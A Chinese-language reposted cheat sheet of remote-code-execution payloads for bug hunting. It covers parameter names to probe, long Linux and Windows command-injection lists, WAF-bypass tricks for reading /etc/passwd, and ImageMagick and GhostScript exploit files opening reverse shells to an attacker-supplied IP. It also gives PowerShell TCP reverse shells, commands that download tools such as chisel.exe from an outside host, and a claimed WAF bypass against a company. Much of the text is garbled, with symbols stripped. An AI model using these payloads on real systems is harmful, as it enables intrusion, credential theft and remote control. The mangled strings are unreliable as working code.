干货漏洞挖掘中RCE漏洞常用的Payload总结

　　RCE：远程代码执行（RCE）使攻击者能够通过注入攻击执行恶意代码。代码注入攻击不同于命令注入攻击。攻击者的能力取决于服务器端解释器的限制。在某些情况下，攻击者可能能够从代码注入升级为命令注入。远程代码评估可能导致易受攻击的Web应用程序和Web服务器的全面妥协。需要注意的是，几乎每种编程语言都有代码评估功能。
　　如何寻找RCE：
　　Top46RCE参数：exec｛payload｝command｛payload｝execute｛payload｝ping｛payload｝include｛payload｝exclude｛payload｝jump｛payload｝code｛payload｝reg｛payload｝do｛payload｝func｛payload｝arg｛payload｝option｛payload｝load｛payload｝process｛payload｝step｛payload｝read｛payload｝function｛payload｝req｛payload｝feature｛payload｝exe｛payload｝module｛payload｝payload｛payload｝run｛payload｝print｛payload｝email｛payload｝id｛payload｝username｛payload｝user｛payload｝to｛payload｝from｛payload｝search｛payload｝query｛payload｝q｛payload｝s｛payload｝shopId｛payload｝blogId｛payload｝phone｛payload｝mode｛payload｝next｛payload｝firstname｛payload｝lastname｛payload｝locale｛payload｝cmd｛payload｝sys｛payload｝system｛payload｝
　　LinuxRCE
　　Payloadlist：id，id；id；id；idididididididid（id）ididid；id；idididididid；id；ididididididid）；idid；）；id；）；id）id）id；id；idid（id）ididid：id。ididididid，id；idididididid，ididid；ididid，idid；id；idnididida；ida）；ida；id；a）；id
　　转义所有危险字符时的RCE：7Cid7cid；pwd；unamea26id260aid0a0aunamea0a270Awhoami0A27220Awhoami0A225C0Awhoami27270Awhoami0A27272A0Awhoami0A2A0Awhoami0A2A280Awhoami0A29600Aid0A603B0Awhoami0A3B2C0Awhoami0A2C7C0Awhoami7C0Awhoami0A7C0awhoami0a0Acat20etcpasswd7C7Cid0A2C20id5Eid3Cid5Cid2727id2727id27272727id2727262Aid2Aid2A2A2Aid2A2A28id2960id602660id602026293Bid3Cid3B293Bid3B293Bid7C297Cid297Cid3B5Cid3B5Cid7C5Cid5C2220id2720id7C20id2620id3B20idid0Did0A0Did0Did0D0Aid0Aid0A2Cid3Bid3Bid3B28id29id202Fid203Aid262620id7C7C20id27id2722id2260id603Bid7C3B7Cid7C7Cid7C7C7Cid7C7Cid7C7C7Cid3B7Cid3B26id26id262626id2626id26263Bid2Fn3Cid5Cn5Cnid5Cnid5Cna3Bida293Bida3Bid3Ba293Bid7C222C0Asystem2827ls27290A3B22270Aid0A275C0Awhoami0A5C260Awhoami0A262620id2026272060id60222060id602C2060id607C2060id60262060id603B2060id60272060id602023222060id6020232C2060id6020237C2060id6020233B2060id6020233Buname20a3B2626dir2620uname20a2026id7C7Cwhoami3Bid7Cwhoami3Bid2626whoami3Bid26whoami3B127。0。0。13Bls127。0。0。13Bi22d3Bunam22e247BIFS7Da3Bl22s247BIFS7Dla27i27d22i22d5Cu5Cn5Ca5Cm5Ce205C5Cacat24u202Fetc24u2Fpasswd24uw247Bu7Dh247Bu7Do247Bu7Da247Bu7Dm247Bu7Dii2428u29di60u60d7Buname2Ca7Dcat247BIFS7D2Fetc2Fpasswdcat24IFS2Fetc2Fpasswd0aid0a0Aid0Aid0A0awhoami0acat24u2B2Fetc24u2Fpasswd24u223Bcat2B2Fetc2Fpasswd2B233B2B24u2Bcat2B2Fetc24u2Fpasswd24u3B2B24u2Bcat2B2Fetc24u2Fpasswd2B5C232F3F3F3F2F3F3Ft2B2F3F3F3F2F3F3Fss3F3F2F3Fin2Fcat2B2Fet3F2Fpassw3F3B2Bcat2B2Fe27tc2Fpass27wdc5C5Ca5C5Ct2B2Fet5C5Cc2Fpas5C5Cswdcat202Fetc24u2Fpasswd28sy。28st29。em2928whoami293B3Bcat2B2Fetc2Fpasswd3Bcat2B2Fetc2Fpasswd2B233Bcat24u2B2Fetc24u2Fpasswd24u3Bcat25202Fetc2Fpasswd3Bcat202Fe247Bhahaha7Dtc2F247Bheywaf7Dpas247Bcatchthis7Dswd3Bcat24u202Fetc24u2Fpasswd24u3B7Bcat2C2Fetc2Fpasswd7D3Bcat3C2Fetc2Fpasswd3Bcat24IFS2Fetc2Fpasswd3Becho247BIFS7D22RCE22247BIFS7D2626cat247BIFS7D2Fetc2Fpasswd3B2Fusr2Fbin2Fid3B7Ccat25202Fetc2Fpasswd7Ccat202Fe247Bhahaha7Dtc2F247Bheywaf7Dpas247Bcatchthis7Dswd7Ccat24u202Fetc24u2Fpasswd24u7C7Bcat2C2Fetc2Fpasswd7D7Ccat3C2Fetc2Fpasswd7Ccat24IFS2Fetc2Fpasswd7Cecho247BIFS7D22RCE22247BIFS7D2626cat247BIFS7D2Fetc2Fpasswd7C2Fusr2Fbin2Fid7C7C7Ccat25202Fetc2Fpasswd7C7Ccat202Fe247Bhahaha7Dtc2F247Bheywaf7Dpas247Bcatchthis7Dswd7C7Ccat24u202Fetc24u2Fpasswd24u7C7C7Bcat2C2Fetc2Fpasswd7D7C7Ccat3C2Fetc2Fpasswd7C7Ccat24IFS2Fetc2Fpasswd7C7Cecho247BIFS7D22RCE22247BIFS7D2626cat247BIFS7D2Fetc2Fpasswd7C7C2Fusr2Fbin2Fid7C7C2626cat25202Fetc2Fpasswd2626cat202Fe247Bhahaha7Dtc2F247Bheywaf7Dpas247Bcatchthis7Dswd2626cat24u202Fetc24u2Fpasswd24u26267Bcat2C2Fetc2Fpasswd7D2626cat3C2Fetc2Fpasswd2626cat24IFS2Fetc2Fpasswd2626echo247BIFS7D22RCE22247BIFS7D2626cat247BIFS7D2Fetc2Fpasswd26262Fusr2Fbin2Fid262626cat25202Fetc2Fpasswd26cat202Fe247Bhahaha7Dtc2F247Bheywaf7Dpas247Bcatchthis7Dswd26cat24u202Fetc24u2Fpasswd24u267Bcat2C2Fetc2Fpasswd7D26cat3C2Fetc2Fpasswd26cat24IFS2Fetc2Fpasswd26echo247BIFS7D22RCE22247BIFS7D2626cat247BIFS7D2Fetc2Fpasswd262Fusr2Fbin2Fid2660cat25202Fetc2Fpasswd6060cat202Fe247Bhahaha7Dtc2F247Bheywaf7Dpas247Bcatchthis7Dswd6060cat24u202Fetc24u2Fpasswd24u60607Bcat2C2Fetc2Fpasswd7D6060cat3C2Fetc2Fpasswd6060cat24IFS2Fetc2Fpasswd6060echo247BIFS7D22RCE22247BIFS7D2626cat247BIFS7D2Fetc2Fpasswd60602Fusr2Fbin2Fid602428cat25202Fetc2Fpasswd292428cat202Fe247Bhahaha7Dtc2F247Bheywaf7Dpas247Bcatchthis7Dswd292428cat24u202Fetc24u2Fpasswd24u2924287Bcat2C2Fetc2Fpasswd7D292428cat3C2Fetc2Fpasswd292428cat24IFS2Fetc2Fpasswd292428echo247BIFS7D22RCE22247BIFS7D2626cat247BIFS7D2Fetc2Fpasswd2924282Fusr2Fbin2Fid29cat202Fetc24u2Fpasswd28sy。28st29。em2928whoami293B3Bcat2B2Fetc2Fpasswd3Bcat2B2Fetc2Fpasswd2B233Bcat24u2B2Fetc24u2Fpasswd24u253B2524257B2540print2528md525282522whoami0252225292529257D253B247B40system2822id22297D7Cuname20a2B7C7Ca2B23272B7Cls2Bla7Ca2B237C222B7Cls2Bla7C7Ca2B23222Csystem2827ls27293B22247B40phpinfo28297D3Bphpinfo28293B3Bphpinfo3Bsystem2827cat25202Fetc2Fpasswd27293Bsystem2827id27292428id293B247B40print28md528whoami29297D3B247B40print28md52822whoami2229297D243Bid242860cat202Fetc2Fpasswd60297B7B20getuserfile28222Fetc2Fpasswd2229207D7D3C2123exec20cmd3D22id3B3Esystem2827cat202Fetc2Fpasswd27293B3C3Fphp20system2822cat202Fetc2Fpasswd22293B3F3Ephp20r2027vardump28exec2822id2229293B2726lt3B2123exec2520cmd3D26quot3Bid3B26gt3Bcat24u2B2Fetc24u2Fpasswd24u2Fbin24u2Fbash24u203Cip3E203Cport3E223Bcat2B2Fetc2Fpasswd2B233B2B24u2Bcat2B2Fetc24u2Fpasswd24u3B2B24u2Bcat2B2Fetc24u2Fpasswd2B5C232F3F3F3F2F3F3Ft2B2F3F3F3F2F3F3Fss3F3F2F3Fin2Fcat2B2Fet3F2Fpassw3F3B2Bcat2B2Fe27tc2Fpass27wdc5C5Ca5C5Ct2B2Fet5C5Cc2Fpas5C5Cswd
　　RCE过滤andWAFBypass：whoamiwhoamiwhoami；whoami；，whoami，whoamiwhoamiwhoamiwhoamiwhoamiwhoami（whoami）whoamiwhoami，system（ls）；unameaalslaalslaaRcewafbypass，system（ls）；doublequoteRcefilterbypass｛system（id）｝evalcodebypass｛phpinfo（）｝；phpinfo（）；；phpinfo；system（cat20etcpasswd）；system（id）（id）；｛print（md5（whoami））｝；｛print（md5（whoami））｝；id（catetcpasswd）｛｛getuserfile（etcpasswd）｝｝！execcmdid；system（catetcpasswd）；lt；？phpsystem（catetcpasswd）；？phprvardump（exec（id））；！exec20cmdid；binubashuipportcatuetcupasswdu；catetcpasswd；ucatetcupasswdu；ucatetcupasswd？？？？？t？？？？？ss？？？incatet？passw？；catetcpasswdcatetcpasswdcatetcupasswd（sy。（st）。em）（whoami）；；catetcpasswd；catetcpasswd；catuetcupasswdu；cat20etcpasswd；cate｛hahaha｝tc｛heywaf｝pas｛catchthis｝swd；catuetcupasswdu；｛cat，etcpasswd｝；catetcpasswd；catIFSetcpasswd；echo｛IFS｝RCE｛IFS｝cat｛IFS｝etcpasswd；usrbinid；cat20etcpasswdcate｛hahaha｝tc｛heywaf｝pas｛catchthis｝swdcatuetcupasswdu｛cat，etcpasswd｝catetcpasswdcatIFSetcpasswdecho｛IFS｝RCE｛IFS｝cat｛IFS｝etcpasswdusrbinidcat20etcpasswdcate｛hahaha｝tc｛heywaf｝pas｛catchthis｝swdcatuetcupasswdu｛cat，etcpasswd｝catetcpasswdcatIFSetcpasswdecho｛IFS｝RCE｛IFS｝cat｛IFS｝etcpasswdusrbinidcat20etcpasswdcate｛hahaha｝tc｛heywaf｝pas｛catchthis｝swdcatuetcupasswdu｛cat，etcpasswd｝catetcpasswdcatIFSetcpasswdecho｛IFS｝RCE｛IFS｝cat｛IFS｝etcpasswdusrbinidcat20etcpasswdcate｛hahaha｝tc｛heywaf｝pas｛catchthis｝swdcatuetcupasswdu｛cat，etcpasswd｝catetcpasswdcatIFSetcpasswdecho｛IFS｝RCE｛IFS｝cat｛IFS｝etcpasswdusrbinidcat20etcpasswdcate｛hahaha｝tc｛heywaf｝pas｛catchthis｝swdcatuetcupasswdu｛cat，etcpasswd｝catetcpasswdcatIFSetcpasswdecho｛IFS｝RCE｛IFS｝cat｛IFS｝etcpasswdusrbinid（cat20etcpasswd）（cate｛hahaha｝tc｛heywaf｝pas｛catchthis｝swd）（catuetcupasswdu）（｛cat，etcpasswd｝）（catetcpasswd）（catIFSetcpasswd）（echo｛IFS｝RCE｛IFS｝cat｛IFS｝etcpasswd）（usrbinid）idwhoami；idwhoami；idwhoami；idwhoami；127。0。0。1；ls127。0。0。1；id；uname｛IFS｝a；ls｛IFS｝laididuameacatuetcupasswduw｛u｝h｛u｝o｛u｝a｛u｝m｛u｝ii（u）diud｛uname，a｝cat｛IFS｝etcpasswdcatIFSetcpasswd例子：
　　id
　　id
　　uamea
　　w｛u｝h｛u｝o｛u｝a｛u｝m｛u｝i
　　IFS〕；bcat〕etcpasswd；bIFS，；catcat，etcpasswduname｛IFS｝acat｛HOME：0：1｝etc｛HOME：0：1｝passwdcat（echo。tr！01）etc（echo。tr！01）passwdcatIFS9｛PWD〔az〕｝ec｛PWD〔az〕｝p？ss？？cat｛IFS｝｛PATHu｝etc｛PATHu｝passwd｛PATHs？？？？｝｛PATHu｝c？？｛IFS｝｛PATHu｝e？？｛PATHu｝？？ss？？｛PATHs？？？？｝｛PATHu｝ca｛u｝t｛IFS｝｛PATHu｝et｛u｝c｛PATHu｝pas｛u｝swd｛PATHs？？？？｝｛PATHu｝bas｛u｝h｛IFS｝｛PHPCFLAGSf｝c｛IFS｝l｛u｝s｛PATH：0：1｝bi？｛PATH：0：1｝ca？｛IFS｝｛PATH：0：1｝et？｛PATH：0：1｝？？sswdtail｛IFS｝｛APACHECONFDIR｛APACHECONFDIR？｝｝et？｛APACHECONFDIR｛APACHECONFDIR？｝｝pas？wdc｛a｝at｛IFS｝｛APACHECONFDIRapache2｝pas｛s｝swdca｛jjj｝t｛IFS｝｛APACHERUNDIR？？？？？？？？？？？？？？？｝et｛jjj｝c｛APACHERUNDIR？？？？？？？？？？？？？？？｝pas｛jjj｝swdc｛u｝at｛IFS｝｛PHPINIDIRup｝e｛u｝tc｛PHPINIDIRup｝p｛u｝asswdcatechoeetcpasswdcatxxdrp2f6574632f706173737764catxxdrps（echo2f6574632f706173737764）1；uname｛IFS｝a1；uname｛IFS｝a；1；uname｛IFS｝a；｛IFS｝1；uname｛IFS｝a；｛IFS｝；（id）id（id）idid（id）ididid（id）idid（id）ididid
　　IFS，；catcat，etcpasswd
　　（id）id
　　（id）idid’（id）idid’id
　　反弹shell：ncl1337curlhttps：reverseshell。shyourip：1337shReverseShellGenerator：https：www。revshells。com实战案例
　　我在一家Top级的公司找到了一个案例：
　　我检查了include参数。它容易受到rce的影响
　　whoamiidunameacatetcpasswd
　　但是有一个waf阻止了我的请求
　　我用了下面这个payload进行绕过：whoamiidunameacatetcpasswd
　　我将payload转换为url编码再进行发包：
　　最终使用的绕过waf的payload如下：270a77686f616d6920262620696420262620756e616d65202d6120262620636174202f6574632f7061737377640a27
　　成功Rce！
　　Imagemagickrce：
　　nclp1337
　　另存为test。gif或test。jpg1。pushgraphiccontextviewbox00640480fillurl（https：127。0。0。0oops。jpg？echoL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL3lvdXJpcC95b3VycG9ydCAwPiYxbase64dbashid）popgraphiccontext2。pushgraphiccontextencodingUTF8viewbox0011affine100100pushgraphiccontextimageOver0，01，1binshidevtcpyouripyourport0121popgraphiccontextpopgraphiccontext3。！PSuserdictsetpagedeviceundefsavelegal｛nullrestore｝stopped｛pop｝if｛legal｝stopped｛pop｝ifrestoremarkOutputFile（pipencatyouripyourportebinsh）currentdeviceputdeviceprops4。！PSuserdictsetpagedeviceundeflegal｛nullrestore｝stopped｛pop｝iflegalmarkOutputFile（pipebashcbashidevtcpyouripyourport01）currentdeviceputdeviceprops
　　保存poc。xml：lt；？xmlversion1。0standaloneno？！DOCTYPEsvgPUBLICW3CDTDSVG1。1ENhttp：www。w3。orgGraphicsSVG1。1DTDsvg11。dtdsvgwidth640pxheight480pxversion1。1xmlnshttp：www。w3。org2000svgxmlns：xlinkhttp：www。w3。org1999xlinkimagexlink：hrefhttps：example。comimage。jpgbinnc。traditionalyouripyourportebinbashx0y0height640pxwidth480pxsvg
　　GhostScriptRce：ncnvlp1337
　　保存test。gifortest。jpg1。！PSuserdictsetpagedeviceundeflegal｛nullrestore｝stopped｛pop｝iflegalmarkOutputFile（pipebashcbashidevtcpyouripyourport01）currentdeviceputdeviceprops2。！PS01300367｛｝for｛saverestore｝stopped｛｝if（pipebashcbashidevtcpyouripyourport01）（w）file3。！PSuserdictsetpagedeviceundefsavelegal｛nullrestore｝stopped｛pop｝if｛legal｝stopped｛pop｝ifrestoremarkOutputFile（pipebashcbashidevtcpyouripyourport01）currentdeviceputdeviceprops4。！PSuserdictsetpagedeviceundeflegal｛nullrestore｝stopped｛pop｝iflegalmarkOutputFile（pipecurlhttp：inputburpcollaborator）currentdeviceputdeviceprops保存poc。pdf！PScurrentdevicenulltruemarkOutputICCProfile（pipecurlhttp：inputburpcollaborator）。putdeviceparamsquit
　　下面这个github项目最适合在上传功能上查找Rce错误
　　https：github。commodzeromod0BurpUploadScanner。git
　　PHPGGC：PHP通用小工具链：
　　该工具允许您生成payload，而无需执行查找小工具和组合它们的繁琐步骤。它可以看作是frohoff的ysoserial的等价物，但对于PHP。目前，该工具支持的小工具链包括：CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、Slim、SwiftMailer、Symfony、Wordpress、Yii和ZendFramework
　　这个最适合查找rce漏洞（框架库）：
　　https：github。comambionicsphpggc
　　WindowsRCE
　　Payloadlist：。system（dir）。dirdirdirdir；dirdirdirdirdirdir；dirdir（dir）dirdirC：；dirC：dirC：dirC：dirC：dir；dirdirdiripconfigall；ipconfigallipconfigallipconfigallipconfigallphpinfo（）phpinfo（）｛｛phpinfo（）｝｝；phpinfo（）；phpinfo（）；；phpinfo（）；｛｛phpinfo（）｝｝phpinfo（）phpinfo（）phpinfo（）phpinfo（）；转义所有危险字符时的RCEpayload：2720dir27207C7C20dir27202620dir2720262620dir273B20dir2220dir22207C7C20dir22207C20dir22202620dir2220262620dir223B20dir22。system2827dir2729。22242860dir60292626dir7C20dir20C3A5C3B20dir20C3A5C2620dir20C3A5C262620dir20C3A5Cdir20C3A5C7C20dir3B20dir2620dir262620dirdirc：dirc：dirc：2fdirc：dirc：Dirc：Dirc：255cDirc：2fDirc：Dirc：255cDirc：2f2626dirc：0adirc：2626dirc：2f2626dirc：2f0adirc：2f0adirc：255c2626dirc：2626dirc：255c2626dirc：255c20｛｛phpinfo（）｝｝
　　反弹shell：
　　ncnvlp443powershellcclientNewObjectSystem。Net。Sockets。TCPClient（yourip，443）；streamclient。GetStream（）；〔byte〔〕〕bytes0。。65535｛0｝；while（（istream。Read（bytes，0，bytes。Length））ne0）｛；data（NewObjectTypeNameSystem。Text。ASCIIEncoding）。GetString（bytes，0，i）；sendback（iexdata21OutString）；sendback2sendbackPS（pwd）。Path；sendbyte（〔text。encoding〕：：ASCII）。GetBytes（sendback2）；stream。Write（sendbyte，0，sendbyte。Length）；stream。Flush（）｝；client。Close（）orpowershellNoPNonIWHiddenExecBypass｛psfalse；hostipyourip；port443；clientNewObjectSystem。Net。Sockets。TCPClient（hostip，port）；streamclient。GetStream（）；〔byte〔〕〕bytes0。。50000｛0｝；while（（istream。Read（bytes，0，bytes。Length））ne0）｛data（NewObjectTypeNameSystem。Text。ASCIIEncoding）。GetString（bytes，0，i）；cmd（getchilditemEnv：ComSpec）。value；inArraydata。split（）；iteminArray〔0〕；if（（itemeqps）and（pseqfalse））｛pstrue｝if（itemlike？：）｛itemd：｝myArray（cd，exit，d：，pwd，ls，ps，rm，cp，mv，cat）；dofalse；foreach（iinmyArray）｛if（itemeqi）｛dotrue｝｝if（doorps）｛sendback（iexdata21OutString）｝else｛data2cdata；sendback（cmddata221OutString）｝；if（ps）｛promptPS（pwd）。Path｝else｛prompt（pwd）。Path｝sendback2datasendbackprompt；sendbyte（〔text。encoding〕：：ASCII）。GetBytes（sendback2）；stream。Write（sendbyte，0，sendbyte。Length）；stream。Flush（）｝；client。Close（）｝反弹shell生成器：https：www。revshells。com文件下载：powershellc（newobjectSystem。Net。WebClient）。DownloadFile（https：eternallybored。orgmiscwget1。21。164wget。exe，C：UsersadminDesktopwget。exe）powershelliwrurihttp：10。10。16。97：8000chisel。exeoutfilech。exealsoworksinPSConstrainLanguageMode
　　Rce（Unix和windows）的最佳burpsuite扩展：
　　https：github。comewildedshelling
　　最佳的命令注入利用工具：
　　https：github。comcommixprojectcommix
　　HappyHacking！
　　文章转自HACK学习呀
　　文章来源：
　　https：ansar0047。medium。comremotecodeexecutionunixandwindows4ed3367158b3